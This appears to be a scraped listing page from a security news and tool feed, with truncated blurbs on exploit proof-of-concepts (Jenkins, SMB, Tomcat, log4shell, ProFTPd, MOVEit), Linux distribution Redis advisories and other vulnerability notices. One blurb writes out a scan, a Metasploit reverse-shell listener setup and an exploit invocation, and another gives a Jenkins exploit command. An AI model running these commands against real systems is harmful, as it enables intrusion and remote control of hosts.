-CTT-NSP-Convergent-Time-Theory---Network-Stack-Projection-CVE-2026-24858-

-CTT-NSP-Convergent-Time-Theory---Network-Stack-Projection-CVE-2026-24858- A Proof-of-Concept demonstrating the application of 3D Navier-Stokes CTT formulations to packet flow optimization and defensive bypass. . CTT-NSP: Convergent Time Theory - Network Stack Projection 🌀 Overview CTT-NSP is a...

rtf_exploit_extractor

rtfexploitextractor Script para extraer la carga útil maliciosa y el documento señuelo de documentos de explotación CVE-2015-1641 root@kitploit: usage: rtfexploitextract.py -h -o OUTFILE -d DECOY -l LENGTH -v inputfile inputfile exploit document to examine optional arguments: -h, --help show this...

RLSA-2026:64823 Important: redis:6 security update

Redis is an advanced key-value store. It is often referred to as a data-structure server since keys can contain strings, hashes, lists, sets, and sorted sets. For performance, Redis works with an in-memory data set. You can persist it either by dumping the data set to disk every once in a while, ...

redis:6 security update

An update is available for redis, module.redis. This update affects Rocky Linux 8. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from the CVE list Redis is an advanced key-value store. It is often referred to as ...

sdk

@cosignet/sdk Thin, zero-dependency TypeScript client for Cosignet — human-in-the-loop approval for high-risk AI-agent actions, with payload-bound passkey signatures. Put a human in the loop before a dangerous action runs: pause it, get an explicit passkey approval from a person Face ID / Touch I...

EUVD-2026-74603

The My Calendar – Accessible Event Manager plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'fallback' Shortcode Attribute in all versions up to, and including, 3.8.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attacker...

MOVEit Transfer - SQL Injection

In Progress MOVEit Transfer before 2020.1.11 12.1.11, 2021.0.9 13.0.9, 2021.1.7 13.1.7, 2022.0.7 14.0.7, 2022.1.8 14.1.8, and 2023.0.4 15.0.4, a SQL injection vulnerability has been identified in the MOVEit Transfer web application that could allow an unauthenticated attacker to gain unauthorized...

CVE-2017-1000353

CVE-2017-1000353 POC How to reproduce the Jenkins CVE-2017-1000353？ Clone this repository, use the pre-built payload jenkinspoc.ser with flowing command: root@kitploit: python exploit.py http://your-ip:8080 jenkinspoc.ser Then the touch /tmp/success would be executed. Java Version Requirements...

CVE-2009-3103

CVE-2009-3103 check vuln SMB nmap --script smb-vuln -p139,445 IP-TARGET set listener sudo msfconsole use exploit/multi/handler set payload windows/meterpreter/reversetcp set LHOST YOUR-KALI-IP set LPORT 80 run run exploit python3 exploit.py IP-TARGET YOUR-KALI-IP 80 windows/meterpreter/reversetcp...

Tomcat-CVE_2025_24813

Tomcat CVE-2025-24813 playground El exploit se bifurcó de https://github.com/absholi7ly/POC-CVE-2025-24813/blob/main/README.md no me funcionó Contenido 1. ROOT.war es una aplicación mínima con un servlet que incluye apache-common-3.1 y genera una sesión 2. ysoserial.jar tomado originalmente del...

moveit-payload-decrypt-CVE-2023-34362

moveit-payload-decrypt-CVE-2023-34362 Este script de shell, dado el OrgKey 0, analizará el encabezado de los artefactos base64 encontrados en los registros de MOVEit y descifrará el objeto serializado utilizado como payload...

ppsx-file-generator

Introducción Por Temesgen Yibeltal [email protected] Basado en el código de https://github.com/bhdresh/CVE-2017-8570 ahora eliminado ppsx-file-generator es una herramienta Python que genera un archivo de presentación de diapositivas de Power Point que ejecuta código desde una fuente remota...

horrors-log4shell

horrors-log4shell Un microlaboratorio ¿campo de pruebas? para CVE-2021-44228 log4j Puede usarse para ejecutar payloads contra múltiples objetivos. Los payloads específicos para cada objetivo se generan en tiempo de ejecución. Configuración ajustable y bypasses. Instalación Requisitos relacionados...

exploit-CVE-2015-3306

ProFTPd 1.3.5 - modcopy Ejecución Remota de Comandos ProFTPD es un demonio FTP altamente configurable para sistemas operativos Unix y similares a Unix. ProFTPD surgió del deseo de tener un servidor FTP seguro y configurable. Fue inspirado por una gran admiración hacia el servidor web Apache. A...

RockyLinux 10 : valkey (RLSA-2026:64796)

The remote RockyLinux 10 host has packages installed that are affected by multiple vulnerabilities as referenced in the RLSA-2026:64796 advisory. redis: Redis: Remote Code Execution via specially crafted RESTORE payload CVE-2026-66373 valkey: Valkey: Remote code execution via use-after-free in...

AlmaLinux 9 : redis (ALSA-2026:64824)

The remote AlmaLinux 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the ALSA-2026:64824 advisory. redis: Redis: Remote Code Execution via specially crafted RESTORE payload CVE-2026-66373 redis: Redis: Arbitrary code execution via TLS pending-data list...

RockyLinux 9 : redis (RLSA-2026:64824)

The remote RockyLinux 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the RLSA-2026:64824 advisory. redis: Redis: Remote Code Execution via specially crafted RESTORE payload CVE-2026-66373 redis: Redis: Arbitrary code execution via TLS pending-data lis...

RockyLinux 8 : redis:6 (RLSA-2026:64823)

The remote RockyLinux 8 host has packages installed that are affected by multiple vulnerabilities as referenced in the RLSA-2026:64823 advisory. redis: Redis: Remote Code Execution via specially crafted RESTORE payload CVE-2026-66373 redis: Redis: Arbitrary code execution via TLS pending-data lis...

RockyLinux 9 : redis:7 (RLSA-2026:65120)

The remote RockyLinux 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the RLSA-2026:65120 advisory. redis: Redis: Remote Code Execution via specially crafted RESTORE payload CVE-2026-66373 redis: Redis: Denial of Service via Out-of-Bounds Read in Clust...

Palo Alto Networks PAN-OS 11.1.x < 11.1.16-h2 / 11.2.x < 11.2.13-h2 / 12.1.x < 12.1.10 Vulnerability

The version of Palo Alto Networks PAN-OS running on the remote host is 11.1.x prior to 11.1.16-h2, 11.2.x prior to 11.2.13-h2, or 12.1.x prior to 12.1.10. It is, therefore, affected by a vulnerability. A stored cross-site scripting XSS vulnerability in Palo Alto Networks PAN-OS software enables a...